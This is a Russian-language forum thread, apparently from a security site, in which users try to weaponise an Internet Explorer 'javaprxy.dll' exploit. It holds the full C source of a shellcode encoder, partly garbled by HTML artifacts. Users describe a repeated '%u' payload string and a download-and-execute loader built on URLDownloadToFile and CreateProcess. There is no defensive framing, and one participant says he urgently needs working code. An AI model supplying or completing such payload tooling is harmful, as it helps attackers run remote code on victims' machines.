Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: Пред. 1 2
RSS
Microsoft Internet Explorer "javaprxy.dll" Code Execution...
 
он может не работать по разным причинам
unicode символ занимает 2 байта, вот и вся конвертация
 
Я тут на калькуляторе тренируюсь , перегнал его в unicod с помощью beta.c. Но не идёт чего й то. , а так хотелось калькулятор запустить  [IMG]http://www.securitylab.ru/forum/smileys/smiley2.gif[/IMG]
И вообще есть ли ограничения на размер кода?
 
Я пробовал запускать пример kyc04ek с кодом умноженым в 100 раз - работает, так что тут дело видимо не размере кода. Возможно код ещё зашифрован.

Friker: а можно поподробнее как перегонял в unicode?
 
Вот этим перегонял , компилил под FreeBSD :

#include <stdafx.h>
#include <stdlib.h>

void usage(char* name) {
 printf(
    "___________________________________ ___________________________________________\n"
    "\n"
    "     ,sSSS s,   Beta v1.0.\n"
    "    dS\" & nbsp; dP   Multi-format  shellcode encoding tool.\n"
    "   .SP dSS\"    Copyright © 2003 by Berend-Jan Wever\n"
    "   dS  &nb sp;Sb    <skylined@edup.tudelft.nl> ;\n"
    "  .SP dSSP    Encodes shellcode to a variety of formats.\n"
    "_  iS:_________________________________________________________ ________________\n"
    "\n"
    "Usage: %s option [#chars]\n"
    "Options:\n"
    "   --help                      Display this information.\n"
    "   --length        &nbs p;         Prin t the length of the input.\n"
    "   --check          ;           ;Check the input for 0x0, 0xA and 0xD characters.\n"
    "   --string        &nbs p;         Enco de as a string for C.\n"
    "       ;           ;           ;  \"\\xAA\\xBB\\xCC...\"\n"
    "   --chars          ;           ;Encode as an array of chars for C.\n"
    "       ;           ;           ;  \\xAA, \\xBB, \\xCC, ...\n"
    "   --hex         & nbsp;         & nbsp; Encode as an array of hex values for C.\n"
    "       ;           ;           ;  0xAA, 0xBB, 0xCC, ...\n"
    "   --amp         & nbsp;         & nbsp; Encode as entities for HTML.\n"
    "       ;           ;           ;  &#AA;&#BB;&#CC;...\n"
    "   --utf-8          ;           ;Encode using utf-8.\n"
    "       ;           ;           ;  %%AA%%BB%%CC...\n"
    "   --utf-16        &nbs p;         Enco de using utf-16.\n"
   "        ;           ;           ; %%uBBAA%%uDDCC...\n"
    "   #chars                      Optional number of encoded characters to print\n"
    "       ;           ;           ;  after which a newline gets printed.\n"
    "\n"
    "Input is read from stdin, the result is written to stdout. When encoding into\n"
    "words and the input has an uneven number of bytes, the input is padded with a\n"
    "NOP (0x90) byte.\n",
    name
 );
}

// used for encoding each byte by itself
void encoder_per_byte(int chars_per_line, char* line_header, char* line_footer,
              char* byte_header, char* byte_format, char* byte_footer, char* byte_separator) {
 int input=0, count=0;
 // line header and footer only printed when we have a max. chars per line.
 if (chars_per_line>0) printf("%s", line_header);
 // read 1 byte input from stdin
 while ((input = getchar()) != EOF) {
    // if weve allready printed chars we might have to print seperators
    if (count > 0) {
      // we have to seperate bytes from each other with this:
      printf("%s", byte_separator);
      // if weve allready printed enough chars on this line, end it & start a new one:
      if (chars_per_line>0 && count % chars_per_line == 0)
        printf("%s%s", line_footer, line_header);
    }
    // print the byte (with its own header and footer) and count it.
    printf("%s", byte_header);
    printf(byte_format, input);
    printf("%s", byte_footer);
    count++;
 }
 // line header and footer only printed when we have a max. chars per line.
 if (chars_per_line>0) printf("%s", line_footer);
}

// used for encoding two bytes into a little endian word (AA, BB -> BBAA)
void encoder_per_word(int chars_per_line, char* line_header, char* line_footer,
              char* word_header, char* word_footer, char* word_separator) {
 int input1=0, input2=0, count=0;
 // line header and footer only printed when we have a max. chars per line.
 if (chars_per_line>0) printf("%s", line_header);
 // read 1 byte input from stdin
 while ((input1 = getchar()) != EOF) {
 // read another byte input from stdin
    input2 = getchar();
 // if number of input bytes=uneven pad with 0x90
    if (input2 == EOF) input2 = 0x90;
    // if weve allready printed chars we might have to print seperators
    if (count > 0) {
      // we have to seperate words from each other with this:
      printf("%s", word_separator);
      // if weve allready printed enough chars on this line, end it & start a new one:
      if (chars_per_line>0 && count % chars_per_line == 0)
        printf("%s%s", line_footer, line_header);
    }
    // print the word (with its own header and footer) and count the bytes.
    printf("%s%02x%02x%s", word_header, input2, input1, word_footer);
    count+=2;
 }
 // line header and footer only printed when we have a max. chars per line.
 if (chars_per_line>0) printf("%s", line_footer);
}

int main(int argc, char* argv[]) {
 int chars_per_line = (argc>2 ? atoi(argv[2]) : -1);
 int i=0, j=0, error=0;
 if (chars_per_line == 0) {
    printf("Illegal number of chars per line. Type \"%s --help\" for help.\n", argv[0]);
    error=1;
 } else if (argc<2 || strcasecmp(argv[1], "--help")==0) {
    // display usage information
    usage(argv[0]);
 } else if (strcasecmp(argv[1], "--length")==0) {
    // output length of input
    while (getchar()!=EOF) i++;
    printf("%d\n", i);
 } else if (strcasecmp(argv[1], "--check")==0) {
    // check for 0x0, 0xA and 0xD
    while ((j=getchar())!=EOF) {
      i++;
      if (j==0x0 || j==0xA || j==0xD) {
        printf("Character %d is 0x%02x!\n", i, j);
        error = 1;
      }
    }
    if (!error)
      printf("Shellcode is NULL, CR and LF free.\n");
 } else if (strcasecmp(argv[1], "--string")==0) {
    // dump "\xAA\xBB\xCC..." encoded string.
    encoder_per_byte(chars_per_line, "  \"", "\"\n", "\\x", "%02x", "", "");
 } else if (strcasecmp(argv[1], "--chars")==0) {
    // dump \xAA, \xBB, \xCC, ... encoded chars
    encoder_per_byte(chars_per_line, "  ", "\n", "\\x", "%02x", "", ", ");
 } else if (strcasecmp(argv[1], "--hex")==0) {
    // dump 0xAA, 0xBB, 0xCC, ... encoded bytes
    encoder_per_byte(chars_per_line, "  ", "\n", "0x", "%02x", "", ", ");
 } else if (strcasecmp(argv[1], "--amp")==0) {
    // dump "&#aa;&#bbb;&#c;..." encoded string
    encoder_per_byte(chars_per_line, "  \"", "\"\n", "&#", "%d", ";", "");
 } else if (strcasecmp(argv[1], "--utf-8")==0) {
    // dump "%AA%BB%CC..." encoded string
    encoder_per_byte(chars_per_line, "  \"", "\"\n", "%", "%02x", "", "");
 } else if (strcasecmp(argv[1], "--utf-16")==0) {
    // dump "%uBBAA%uDDCC..." encoded string
    encoder_per_word(chars_per_line, "  \"", "\"\n", "%u", "", "");
 } else {
    printf("Unknown option. Type \"%s --help\" for help.\n", argv[0]);
    error=1;
 }

 return (error ? EXIT_FAILURE : EXIT_SUCCESS);
}

}
 
Как код под Windows в VisualStudio 8 откомпилить?
Obfuscate у тебя работает эксплоит? Ты пробовал написать прогу , а потом вставить суда?
 
Нет мой код не пашет. Я не могу откомпилировать код что выше, я не очень-то юзаю С++, говорит:
Error:  unicode.cpp(3,2):Unable to open include file STDAFX.H
Error:  unicode.cpp(104,33):Call to undefined function strcasecmp
В папке С++ полно STDAFX.H, но нигде нет strcasecmp, наверное у меня старая версия (5.2)

Что-то не пойму какой код ты хочешь откомпилить в VisualStudio? С++ что ли?
 
Я компилил в FreeBSD , под виндой немогу в VS откомпилить , нужна библиотека старых функций c++ , что у тебя значит умноженным в 100 раз?Если , что давай в Аси поговорим.Так как мне горит сейчас рабочий этот код.
 
Умноженый в 100 раз - это "%u4343%u4343%u0feb..."+"%u4343%u4343%u0feb..."+... и так сто раз.
Каков вообще принцип кодирования в unicode, в твоём файле неохота разбираться, можно попробовать сделать на VB

Аси у меня нет, я её удалил
 
http://toktogul.narod.ru/beta.zip
это я подправил и скомпилил
она берет из STDIN, выводит в STDOUT
поэтому в дос-строке надо запустить так
beta.exe --utf-16 < 1.exe > shell.txt

только что-то мало получается
и нулей каких то много
надо смотреть дальше, возможно переписать для работы с файлами
 
http://toktogul.narod.ru/beta2.zip
переделал для работы с файлами
много было %u0000 поэтому везде довавил условие if(input1 && input2)

нужно запускать с 3 параметрами, последний - имя файла в текущей директории
записывает в shell_code.txt

запуск: beta.exe --utf-16 9 2.exe
2.exe - обычный MessageBox

пробуйте

а теперь самое главное
с чего вы взяли, что можно простой конвертацией содержимого ехе-шника перевети его в шелкод?
насколько я знаю, метода немного посложнее

нужно написать на асме загрузчик файла из сети и его запуск
будут 2 функции UrlDownloadToFile, CreateProcess
дизассемблировать бинарник
из него собирать шел-код
 
Diviner: В память нужно загружать не весь экзешник, а только вызовы отдельных функций?
 
Цитата
Obfuscate пишет:
Diviner: В память нужно загружать не весь экзешник, а только вызовы отдельных функций?
абсолютно верно
 
Можно чуть точнее про то как можно дизасемблить код.
У меня он на Delphi или C++ (МVС), что мне надо сделать?
Если можно с примерами!
Страницы: Пред. 1 2
Читают тему